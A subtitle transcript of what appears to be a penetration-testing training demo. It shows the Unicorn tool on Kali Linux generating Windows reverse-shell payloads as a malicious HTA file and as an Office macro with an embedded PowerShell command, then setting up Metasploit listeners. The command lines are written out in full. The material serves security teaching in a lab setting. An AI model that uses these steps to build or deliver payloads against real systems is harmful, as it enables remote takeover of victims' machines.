WEBVTT

00:00:01.040 --> 00:00:04.750
In this demo, we will create payloads that we will test in the next demo

00:00:04.750 --> 00:00:09.680
using Unicorn. We use Unicorn to generate PowerShell commands and create

00:00:09.680 --> 00:00:13.650
multiple payloads using different attack types with the built‑in tools.

00:00:13.650 --> 00:00:17.810
Using these features in Unicorn allows you to quickly and easily develop

00:00:17.810 --> 00:00:19.450
multiple attacks for execution.

00:00:20.340 --> 00:00:24.680
Let's head over to our Kali Linux machine and get started. For

00:00:24.680 --> 00:00:27.510
the first attack, we're going to use the built‑in tools to

00:00:27.510 --> 00:00:30.750
create an HTML application, or HTA.

00:00:31.640 --> 00:00:32.560
To make this attack,

00:00:32.940 --> 00:00:41.000
we type python unicorn.py windows/shell_reverse_tcp followed by

00:00:41.000 --> 00:00:43.150
the IP address of our Kali Linux machine.

00:00:44.140 --> 00:00:51.150
Next we need a port, so we'll use 443. Last, we type hta to specify that option.

00:00:51.940 --> 00:00:54.620
Unicorn will generate the necessary files and place

00:00:54.620 --> 00:00:57.360
them in a directory called hta_attack.

00:00:58.240 --> 00:01:01.410
Let's take a quick look at the files generated. The

00:01:01.410 --> 00:01:04.720
index.html file allows us to send the IP address of our

00:01:04.720 --> 00:01:07.150
server hosting the files only as the link.

00:01:07.740 --> 00:01:12.150
The index file just directs the browser to download the Launcher.hta file.

00:01:12.940 --> 00:01:16.870
This file is our malicious HTML application that will run

00:01:16.870 --> 00:01:18.860
our reverse_shell payload on the target.

00:01:19.740 --> 00:01:23.360
Last, we have a Metasploit file that allows us to easily set up a

00:01:23.360 --> 00:01:26.800
listener in Metasploit. For our second attack,

00:01:27.000 --> 00:01:31.550
we'll use a macro that we can embed into an Office document. To create

00:01:31.550 --> 00:01:39.270
this payload, we type python unicorn.py windows/shell_reverse_tcp followed

00:01:39.270 --> 00:01:41.660
by the IP address of our Kali Linux machine.

00:01:42.940 --> 00:01:47.760
This time we use port 4444 and follow the command with macro.

00:01:48.640 --> 00:01:52.360
This places our PowerShell command and powershell_attack.txt.

00:01:53.440 --> 00:01:56.090
We also get a file that we can run in the Metasploit

00:01:56.090 --> 00:01:58.150
console in our default directory.

00:01:59.240 --> 00:02:00.970
Now that we've created our two attacks,

00:02:00.980 --> 00:02:03.450
we're ready for our next demo, where we're going to test them out on

00:02:03.450 --> 00:02:06.160
both the Metasploitable VM and our Windows 10 host.